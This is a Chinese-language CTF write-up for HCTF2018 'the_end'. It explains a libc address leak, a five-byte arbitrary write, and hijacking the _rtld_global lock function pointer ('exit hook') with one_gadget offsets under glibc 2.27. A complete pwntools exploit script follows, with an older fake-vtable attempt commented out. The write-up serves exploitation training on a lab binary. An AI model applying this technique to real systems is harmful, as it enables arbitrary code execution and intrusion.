HCTF2018 THE_END(exit hook)
分析
在buu的环境打的这题。
除了canary以外的保护都开了。
main函数一开始给了sleep函数的真实地址,可以直接拿到libc基址,然后close掉了stdout和stderr。问题不大,getshell过后用'exec /bin/sh 1>&0'重定向一下输出就可以了。
vul非常明显,就是送了5个字节的任意写,由于这题got表不可改,所以可以在_ IO_2_1_stdout_附近,利用一些现有值,改掉低字节来伪造出一个vtable,然后把setbuf的函数指针改成one_gadget的地址,就能getshell。
改setbuf是因为函数最后调用的exit会用到。
附件我是在github上找的,在连接到远程环境的时候发现buu远程使用的并不是原题的libc2.23,而是后来的libc2.27。在libc2.27中,会对vtable的地址进行检查,而这题的原本解法并不能通过这个检查,而且任意写的机会只有5次,每次一个字节,所以不得不换别的思路做了。
exit函数会调用__run_exit_hand函数,进而调用 _dl_fini, _dl_fini的关键源码如下:
1 #ifdef SHARED
2 int do_audit = 0;
3 again:
4 #endif
5 for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
6 {
7 /* Protect against concurrent loads and unloads. */
8 __rtld_lock_lock_recursive (GL(dl_load_lock));
9
10 unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11 /* No need to do anything for empty namespaces or those used for
12 auditing DSOs. */
13 if (nloaded == 0
14 #ifdef SHARED
15 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17 )
18 __rtld_lock_unlock_recursive (GL(dl_load_lock));
在_dl_fini的内部又调用了__rtld_lock_recursive,他实际上是一个名叫 _rtld_global的结构体中的一个函数指针,并且在libc2.27中并没有相关的检查机制。
所以我们可以把他劫持了,写入one_gadgets来getshell。
而这种trick就是常说的exit hook。
值得一提的是,_rtld_global在ld文件里,所以在知道了libc基址过后,还需要推算一下ld的基址。
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./the_end')
# p = remote('node4.buuoj.cn', 29971)
elf = ELF('./the_end')
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil('0x')
sleep_addr = int(p.recv(12), 16)
libcbase = sleep_addr - libc.symbols['sleep']
ldbase = libcbase + 0x3f1000
rtld_global = ldbase + ld.symbols['_rtld_global']
dl_rtld_lock_recursive = rtld_global + 0xf08
print(hex(libcbase))
print(hex(ldbase))
print(hex(rtld_global))
one = [0x4f2c5, 0x4f322, 0x10a38c]
for i in range(5):
p.send(p64(dl_rtld_lock_recursive+i))
p.send(p8(p64(libcbase + one[1])[i]))
# gdb.attach(p, 'b *exit')
'''
vtable = libcbase + 0x3ec758
print(hex(libcbase))
fakevtable = libcbase + 0x3ec690
setbuf = libcbase + 0x3ec6e8
one = [0x4f2c5, 0x4f322, 0x10a38c]
gdb.attach(p)
for i in range(2):
p.send(p64(vtable+i))
p.send(p8(p64(fakevtable)[i]))
for i in range(3):
p.send(p64(setbuf+i))
p.send(p8(p64(libcbase + one[2])[i]))
# print(hex(libcbase + one[1]))
# gdb.attach(p)
'''
p.interactive()